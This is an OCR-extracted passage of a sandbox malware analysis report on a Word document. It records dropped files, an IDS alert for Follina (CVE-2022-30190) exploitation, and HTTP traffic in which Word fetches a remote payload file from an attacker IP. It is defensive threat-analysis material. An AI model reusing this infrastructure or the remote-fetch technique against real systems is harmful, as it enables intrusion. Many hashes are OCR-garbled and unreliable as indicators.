1.7.6.9.....7.2.."...T.. . DOC782~1.DOC..D.....hT.hT.*..r...................d.0.€.7.8.2...d.0.C.X......U.ceeens 8..[n?d.Ci\UserS\. #. \\116938\Users
.user\Desktop\doc782.docx."....\....\.....\ \.D.eskto.p\d.o.c7.8.2.do.cx... ..ISPS.XF.L8C....&m.m.... S.-1.-5.-21.-96.6.7.7.1.3
.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............".....X.......116938.......... D_...3N..W..9..N.... ... [D_...3N..W...9..N.... ... [....

b Users.@.s.hell3.2.dll,.-
D.ess.kkt.o.p.@.s.h.ell3.2..d.ll,.-.2

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

64

4.601202445739505

false

3:bDuMJIZIbFXCmxWKIbFXCv:bCSa6c

538F5016C24249AC1799BBBB20B4BD97
1BOECD98E7D3BFECA78B00528138FA8D84F35BED
249CC3AF3819FB4142D7A65254BD454ACF580489E19A50D71007A7E998B4A70F

EOE8040389BABFFD046E57AAD3ECFEE9A9171B4D00EC75EE3DF48710FC452C479692121776D17DCBCCC72E4A1CA0B6570484C007B282C9DBFO5SEDD34C9463
EDA
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Malicious:

Preview:

false

[folders]..Templates.LNK=0..doc782.LNK=0..[misc]..doc782.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
data

dropped

162

2.4797606462020303

false

3:vrJlaCkWiVyAl/ugXimW4eedin:vdsCkWtplGgXvdl
1674A1C7C99CDIFAADAT789F5E2AEB335
26D9E81D5ED584A899A94D5EAB945A5AE3403F85

BB5FOD32EOE1C8B6865FCE4AE1FC50E34CA954B89E771364A6BE6627F7C726B6

B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0F1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03EQ2

C

false

C:\Users\user\Desktop\~$doc782.docx @

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data
Category: dropped
Size (bytes): 162
Entropy (8bit):  2.4797606462020303
Encrypted: false
SSDEEP: 3:vrdlaCkWtVyAl/ugXimW4eedin:vdsCkWtplGgXvdl
MD5: 1674A1C7C99CDI9FAADA789F5E2AEB335
SHA1L: 26D9E81D5ED584A899A94D5EA8945A5AE3403F85
SHA-256: BB5FOD32EOE1C8B6865FCE4AELFC50E34CA954B89E771364A6BEG627F7C726B6
SHA-512:
C

Malicious: true
Preview: LUSEE it Albus......... P 120 22, @32
Static File Info
General
File type: Microsoft OOXML
Entropy (8bit):  7.869060797789825
TriD: e Word Microsoft Office Open XML Format document (49504/1) 49.01%

e Word Microsoft Office Open XML Format document (43504/1) 43.07%

e ZIP compressed archive (8000/1) 7.92%
File name: doc782.docx
File size: 10144
MD5: €7015438268464cedad98b1544d643ad
SHAL: 03ef0e06d678a07f0413d95f0deb8968190e4f6b
SHA256: d20120cc046cef3c3f0292c6¢chc406fcf2a714aa8e048c9188f1184e4bb16¢93
SHA512: d134d87c28ach758b897a287a9f6ce86776f384f43ee963f52b40e173b6bfcd9dc76e5f64b9a40b93d3bf2a5b988f842¢27¢90611a8b4408abd9e197191edaad
SSDEEP: 192:s5VReDWRPj8lugw1BIb8VPkf+CFk4v1Y2VveFLCIFJI9Q7dIpN2:snPj8110ID9+2Vvx9qlpN2
TLSH: A3228E3ADA5508B5CAD2A275E0ACOB2AD30C42BBB73BE9CB65C653E402C85DBOF5530C
File Content PK......... kT..L.. [Content_Types].xml...n.0.E...m.NR....,.X...~...".l.....C ...... l....sg...m..kp"...Q4d...H..1.X...,.
Preview: [ x6..L.;.>.b.c.l..}.Alld,h.. 1. RMO.U.. "WF....Ub...6W.@.....(aM..r..3e....2)(#....7..S...p
Filelcon

B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0OF1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03E0QZ
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Icon Hash: edeba2a2adbdbdad

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID

185.234.247.119192.168. TCP 203672 ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-
2.2280491732036726 6

06/07/22-

18:38:14.250872

TCP Packets

Timestamp

Jun 7, 2022 18:38:04.559988022 CEST
Jun 7, 2022 18:38:04.587605953 CEST
Jun 7, 2022 18:38:04.587683916 CEST
Jun 7, 2022 18:38:04.587856054 CEST
Jun 7, 2022 18:38:04.615333080 CEST
Jun 7, 2022 18:38:04.615535021 CEST
Jun 7, 2022 18:38:04.615578890 CEST
Jun 7, 2022 18:38:10.103796005 CEST
Jun 7, 2022 18:38:10.131787062 CEST
Jun 7, 2022 18:38:10.131875992 CEST
Jun 7, 2022 18:38:10.132050991 CEST
Jun 7, 2022 18:38:10.160005093 CEST
Jun 7, 2022 18:38:10.160626888 CEST
Jun 7, 2022 18:38:10.372772932 CEST
Jun 7, 2022 18:38:10.388240099 CEST
Jun 7, 2022 18:38:10.388413906 CEST
Jun 7, 2022 18:38:14.112446070 CEST
Jun 7, 2022 18:38:14.140769958 CEST
Jun 7, 2022 18:38:14.140855074 CEST
Jun 7, 2022 18:38:14.141001940 CEST
Jun 7, 2022 18:38:14.171103954 CEST
Jun 7, 2022 18:38:14.171741962 CEST
Jun 7, 2022 18:38:14.222954988 CEST
Jun 7, 2022 18:38:14.250871897 CEST
Jun 7, 2022 18:38:14.250910044 CEST
Jun 7, 2022 18:38:14.250941992 CEST
Jun 7, 2022 18:38:14.250956059 CEST
Jun 7, 2022 18:38:14.250973940 CEST
Jun 7, 2022 18:38:14.250988007 CEST
Jun 7, 2022 18:38:14.251005888 CEST
Jun 7, 2022 18:38:14.251019001 CEST
Jun 7, 2022 18:38:14.251049042 CEST
Jun 7, 2022 18:38:14.382347107 CEST
Jun 7, 2022 18:38:14.401310921 CEST
Jun 7, 2022 18:38:14.401400089 CEST
Jun 7, 2022 18:38:14.639050961 CEST
Jun 7, 2022 18:38:14.674964905 CEST
Jun 7, 2022 18:38:14.675029039 CEST
Jun 7, 2022 18:38:14.681684017 CEST
Jun 7, 2022 18:38:14.709424973 CEST
Jun 7, 2022 18:38:14.709614038 CEST
Jun 7, 2022 18:38:14.734277010 CEST
Jun 7, 2022 18:38:14.762449980 CEST
Jun 7, 2022 18:38:14.802052975 CEST
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Source Port
49173
80
49173
49173
80

80
49173
49174
80
49174
49174
80

80
49174
80
49174
49175
80
49175
49175
80

80
49173
80

80

80
49173
80
49173
80
49173
49173
49175
80
49175
49173
80
49173
49173
80
49173
49174
80
49173

Dest Port
80
49173
80

80
49173
49173
80

80
49174
80

80
49174
49174
80
49174
80

80
49175
80

80
49175
49175
80
49173
49173
49173
80
49173
80
49173
80

80

80
49175
80

80
49173
80

80
49173
80

80
49174
80

Source IP
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22

Source Dest

Source IP
Port
49173
119
Dest IP

185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
192.168.2.22
192.168.2.22
185.234.247.119
192.168.2.22
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119
185.234.247.119
192.168.2.22
185.234.247.119

Dest IP

185.234.247. 192.168.2.22
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Timestamp

Jun 7, 2022 18:38:14.829963923 CEST
Jun 7, 2022 18:38:14.830189943 CEST
Jun 7, 2022 18:38:14.975172043 CEST
Jun 7, 2022 18:38:14.990220070 CEST
Jun 7, 2022 18:38:14.990324020 CEST
Jun 7, 2022 18:38:15.016185045 CEST
Jun 7, 2022 18:38:15.044190884 CEST
Jun 7, 2022 18:38:15.044383049 CEST
Jun 7, 2022 18:39:15.056456089 CEST
Jun 7, 2022 18:39:17.564933062 CEST
Jun 7, 2022 18:39:19.173058987 CEST
Jun 7, 2022 18:39:19.173165083 CEST
Jun 7, 2022 18:39:19.173510075 CEST

Jun 7, 2022 18:39:19.201189041 CEST

HTTP Request Dependency Graph

e 185.234.247.119

HTTP Packets
Session ID Source IP Source Port
0 192.168.2.22 49173
kByt:
Timestamp yes Direction
transferred
Jun 7, 2022 1 ouT
18:38:04.587856054
CEST
Jun 7, 2022 2 IN
18:38:04.615535021
CEST
Jun 7, 2022 4 ouT
18:38:14.222954988
CEST

Copyright Joe Security LLC 2022

Source Port Dest Port Source IP Dest IP
80 49173 185.234.247.119 192.168.2.22
49173 80 192.168.2.22 185.234.247.119
49174 80 192.168.2.22 185.234.247.119
80 49174 185.234.247.119 192.168.2.22
49174 80 192.168.2.22 185.234.247.119
49173 80 192.168.2.22 185.234.247.119
80 49173 185.234.247.119 192.168.2.22
49173 80 192.168.2.22 185.234.247.119
49174 80 192.168.2.22 185.234.247.119
49173 80 192.168.2.22 185.234.247.119
80 49175 185.234.247.119 192.168.2.22
49175 80 192.168.2.22 185.234.247.119
49175 80 192.168.2.22 185.234.247.119
80 49175 185.234.247.119 192.168.2.22

Destination IP Destination Port Process

185.234.247.119 80 C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Data

OPTIONS /HTTP/1.1

User-Agent: Microsoft Office Protocol Discovery
Host: 185.234.247.119

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Tue, 07 Jun 2022 16:38:04 GMT

Content-Type: text/html

Content-Length: 150

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3¢ 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx</center></body></html>

GET /123.RES HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)
UA-CPU: AMD64

Accept-Encoding: gzip, deflate

Host: 185.234.247.119

Connection: Keep-Alive
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Timestamp

Jun 7, 2022
18:38:14.250871897
CEST

Jun 7, 2022
18:38:14.639050961
CEST

Jun 7, 2022
18:38:14.674964905
CEST

Jun 7, 2022
18:38:14.681684017
CEST

Jun 7, 2022
18:38:14.709424973
CEST

kBytes
transferred

6

12

12

12

13

Copyright Joe Security LLC 2022

Direction

IN

ouT

ouT

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT

Content-Type: application/octet-stream

Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT

Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0d Oa 3c
68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 0d Oa 47 6f 6f 64 20 74 68 69 6e 67 20 77 65 20 64 69 73 61 62 6¢ 65 64 20
6d 61 63 72 6f 73 0d Oa 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 70 3e 0d Oa
4c 6f 72 65 6d 20 69 70 73 75 6d 20 64 6f 6¢ 6f 72 20 73 69 74 20 61 6d 65 74 2c 20 63 6f 6e 73 65 63 74 65 74 75 72 20
61 64 69 70 69 73 63 69 6e 67 20 65 6¢ 69 74 2e 20 51 75 69 73 71 75 65 20 70 65 6¢ 6¢ 65 6€ 74 65 73 71 75 65 20 65
67 65 73 74 61 73 20 6e 75 6¢ 6¢ 61 20 69 6e 20 64 69 67 6e 69 73 73 69 6d 2e 20 4e 61 6d 20 69 64 20 6d 61 75 72 69
73 20 6¢ 6f 72 65 6d 2e 20 4e 75 6e 63 20 73 75 73 63 69 70 69 74 20 69 64 20 6d 61 67 6e 61 20 69 64 20 6d 6f 6¢ 6C
69 73 2e 20 50 65 6¢ 6¢ 65 6e 74 65 73 71 75 65 20 73 75 73 63 69 70 69 74 20 6f 72 63 69 20 6e 65 71 75 65 2c 20 61
7420 6f 72 6e 61 72 65 20 73 61 70 69 65 6e 20 62 69 62 65 6e 64 75 6d 20 65 75 2e 20 56 65 73 74 69 62 75 6¢ 75 6d
20 6d 61 6¢c 65 73 75 61 64 61 20 6e 65 63 20 73 65 6d 20 71 75 69 73 20 66 69 6e 69 62 75 73 2e 20 4e 61 6d 20 71 75
69 73 20 6¢ 69 67 75 6¢ 61 20 65 74 20 64 75 69 20 66 61 75 63 69 62 75 73 20 66 61 75 63 69 62 75 73 2e 20 49 6e 20
717569 73 20 62 69 62 65 6e 64 75 6d 20 74 6f 72 74 6f 72 2e 0d Oa 0d 0a 43 75 72 61 62 69 74 75722072 7574 72
75 6d 20 6¢ 65 6f 20 74 6f 72 74 6f 72 2c 20 76 65 6e 65 6e 61 74 69 73 20 66 65 72 6d 65 6e 74 75 6d 20 65 78 20 70 6f
72747469 74 6f 72 20 76 69 74 61 65 2e 20 50 72 6f 69 6e 20 65 75 20 69 6d 70 65 72 64 69 65 74 20 6¢ 6f 72 65 6d 2C
2061 6320 61 6¢ 69 71 75 65 74 20 72 69 73 75 73 2e 20 41 65 6e 65 61 6e 20 65 75 20 73 61 70 69 65 6e 20 70 68 61
7265747261 2c 2069 6d 70 65 72 64 69 65 74 20 69 70 73 75 6d 20 75 74 2¢ 20 73 65 6d 70 65 72 20 64 69 61 6d 2e
20 4e 75 6¢ 6¢ 61 20 66 61 63 69 6¢ 69 73 69 2e 20 53 65 64 20 65 75 69 73 6d 6f 64 20 74 6f 72 74 6f 72 20 74 6f 72 74
6f 72 2c 20 6e 6f 6e 20 65 6¢ 65 69 66 65 6e 64 20 6e 75 6e 63 20 66 65 72 6d 65 6e 74 75 6d 20 73 69 74 20 61 6d 65
74 2e 20 49 6e 74 65 67 65 72 20 6¢ 69 67 75 6¢ 61 20 6C 69 67 75 6C 61 2C 20 63 6f 62 67 75 65 20 61 74 20 73 63 65 6
€ 657269 7371756520 7369 74 20 61 6d 65 74 2c 20 70 6f 72 74 74 69 74 6f 72 20 71 75 69 73 20 66 65 6C 69 73 2e
20 4d 61 65 63 65 6e 61 73 20 6e 65 63 20 6a 75 73 74 6f 20 76 61 72 69 75 73 2¢ 20 73 65 6d 70 65 72 20 74 75 72 70
69 7320 75 74 2c 20 67 72 61 76 69 64 61 20 6¢ 6f 72 65 6d 2e 20 50 72 6f 69 6e 20 61 72 63 75 20 6¢ 69 67 75 6¢€ 61 2C
20 76 65 6e 65 6e 61 74 69 73 20 61 6¢ 69 71 75 61 6d 20 74 72 69 73 74 69 71 75 65 20 75 74 2c 20 70 72 65 74 69 75
6d 20 71 75 69 73 20 76 65 6¢ 69 74 2e 0d Oa 0d Oa 50 68 61 73 65 6¢ 6¢ 75 73 20 74 72 69 73 74 69 71 75 65 20 6f 72
63 69 20 65 6e 69 6d 2c 20 61 74 20 61 63 63 75 6d 73 61 6e 20 76 65 6¢ 69 74 20 69 6e 74 65 72 64 75 6d 20 65 74 2e
20 41 65 6e 65 61 6e 20 6e 65 63 20 74 72 69 73 74 69 71 75 65 20 61 6e 74 65 2c 20 64 69 67 6e 69 73 73 69 6d 20 63
6f 6e 76 61 6¢ 6¢ 69 73 20 6¢ 69 67 75 6¢ 61 2e 20 41 65 6e 65 61 6e 20 71 75 69 73 20 66 65 6¢ 69 73 20 64 6f 6¢ 6f 72
2e 20 49 6e 20 71 75 69 73 20 6¢ 65 63 74 75 73 20 6d 61 73 73 61 2e 20 50 65 6¢ 6¢C 65 6€ 74 65

Data Ascii: <!doctype html><html lang="en"><head><title>Good thing we disabled macros</title></head><body><p>L
orem ipsum dolor sit amet, consectetur adipiscing elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris |
orem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum eu. Vestibulum
malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.Curabitur rutrum leo
tortor, venenatis fermentum ex porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra,
imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifend nunc fermentum sit amet. Integer
ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem.
Proin arcu ligula, venenatis aliquam tristique ut, pretium quis velit.Phasellus tristique orci enim, at accumsan velit interdum
et. Aenean nec tristique ante, dignissim convallis ligula. Aenean quis felis dolor. In quis lectus massa. Pellente

HEAD /123.RES HTTP/1.1

User-Agent: Microsoft Office Existence Discovery
Host: 185.234.247.119

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

OPTIONS /HTTP/1.1

User-Agent: Microsoft Office Protocol Discovery
Host: 185.234.247.119

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT

Content-Type: text/html

Content-Length: 150

Connection: keep-alive

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <htmI><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx</center></body></html|>
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Timestamp

Jun 7, 2022
18:38:14.802052975
CEST

Jun 7, 2022
18:38:14.829963923
CEST

Jun 7, 2022
18:38:15.016185045
CEST

Jun 7, 2022
18:38:15.044190884
CEST

Session ID

1

Timestamp

Jun 7, 2022
18:38:10.132050991
CEST

Jun 7, 2022
18:38:10.160626888
CEST

Jun 7, 2022
18:38:10.388240099
CEST

Jun 7, 2022
18:38:14.734277010
CEST

Jun 7, 2022
18:38:14.762449980
CEST

kBytes
transferred

14

14

15

15

Source IP

192.168.2.22

kBytes
transferred

3

13

13

Copyright Joe Security LLC 2022

Direction

ouT

ouT

Source Port

49174

Direction

ouT

ouT

Destination IP

185.234.247.119 80

Data

GET /123.RES HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

Host: 185.234.247.119

I--Modified-Since: Fri, 03 Jun 2022 10:07:25 GMT
If-None-Match: "6299dd5d-1861"

Connection: Keep-Alive

HTTP/1.1 304 Not Modified

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT
Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

HEAD /123.RES HTTP/1.1

User-Agent: Microsoft Office Existence Discovery
Host: 185.234.247.119

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:15 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

Destination Port Process

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Data

HEAD /123.RES HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft Office Existence Discovery
Host: 185.234.247.119

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:10 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:10 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

HEAD /123.RES HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft Office Existence Discovery
Host: 185.234.247.119

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes
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Timestamp

Jun 7, 2022
18:38:14.990220070
CEST

Session ID

2

Timestamp

Jun 7, 2022
18:38:14.141001940
CEST

Jun 7, 2022
18:38:14.171741962
CEST

Jun 7, 2022
18:38:14.401310921
CEST

Statistics

@ No statistics

kBytes

Direction
transferred
14 IN
Source IP Source Port

192.168.2.22 49175

kB!

vtes Direction
transferred

4 ouT

4 IN

12 IN

System Behavior

185.234.247.119 80

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT
Content-Type: application/octet-stream
Content-Length: 6241

Last-Modified: Fri, 03 Jun 2022 10:07:25 GMT
Connection: keep-alive

ETag: "6299dd5d-1861"

Accept-Ranges: bytes

Destination IP Destination Port Process

C:\Program Files\Microsoft Office\Officel4\WINWORD.EXE

Data

OPTIONS / HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
translate: f

Host: 185.234.247.119

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT

Content-Type: text/html

Content-Length: 150

Connection: keep-alive

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx</center></body></html>

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Tue, 07 Jun 2022 16:38:14 GMT

Content-Type: text/html

Content-Length: 150

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx</center></body></html>

Analysis Process: WINWORD.EXE PID: 1460, Parent PID: 576

General

Target ID: 0

Start time: 18:38:14

Start date: 07/06/2022

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

Imagebase: 0x13f7c0000
File size: 1423704 bytes
MDS5 hash: 9EE74859D22DAE61F1750B3A1BACB6F5

Copyright Joe Security LLC 2022
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Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Mi read data or list  device directory file | success or wait 1 7FEEE95F645 CreateDirect
crosoft\Office\14.0\OfficeFileCache directory | synchronous io oryWw
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768- read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
48FA-AC51-627BB9420B93} synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list ~ device sequential only | = success or wait 1 7FEEE95B1C3 CopyFileEx
crosoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSD directory | read non directory file W
attributes |
delete | syn
chronize |
generic write
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read attributes |  device synchronousio  success or wait 1 7FEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFileCache\FSD-{950185C1- synchronize | non alert | non
DO03B-43EE-9B9C-DOCDFF898355}.FSD generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list ~ device directory file | success or wait 1 7FEEE95F645 CreateDirect
crosoft\Office\14.0\OfficeFile directory | synchronous io oryWw
Cache\LocalCacheFileEditManager synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E- read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
4A32-B5F6-541A0FA08477} synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list  device sequential only |  success or wait 1 7FEEE95B1C3 CopyFileEx
crosoft\Office\14.0\OfficeFile directory | read synchronous io W
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD attributes | non alert | non
delete | syn directory file
chronize |
generic write
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7TFEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFile synchronize | non alert | non
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64- generic write directory file |
E8C6-4E2A-9759-63CF07FD8988}.FSF open no recall
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7TFEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFile synchronize | non alert | non
